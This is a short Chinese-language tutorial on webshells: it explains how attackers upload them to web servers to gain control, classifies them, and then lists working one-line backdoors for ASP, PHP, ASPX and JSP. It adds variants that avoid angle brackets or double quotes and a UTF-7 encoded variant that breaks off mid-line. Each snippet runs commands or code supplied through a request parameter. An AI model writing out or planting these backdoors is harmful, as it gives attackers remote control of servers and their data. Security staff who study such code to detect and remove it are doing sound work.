webshell 概念
web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是一种用来进行网站和服务器管理的脚本程序,webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,攻击者通过上传WebShell获得Web服务器的管理权限,从而达到对网站服务器的渗透和控制。
Webshell的分类
- 根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
- 根据脚本名称分类:jsp、asp、aspx、php
webshell的编写方法
一句话木马编写方法:
- asp一句话木马:
<%execute(request("value"))%>
- php一句话木马:
<?php @eval($_POST[value]);?>
- aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
- jsp的简单的webshell:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
- 不用’<,>'的asp一句话木马:
<script language=VBScript runat=server>execute request("value")</script>
- 不用双引号的一句话木马:
<%eval request(chr(35))%>
UTF-7编码加密:
<%@ codepage=65000%><% response.Charset=”936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-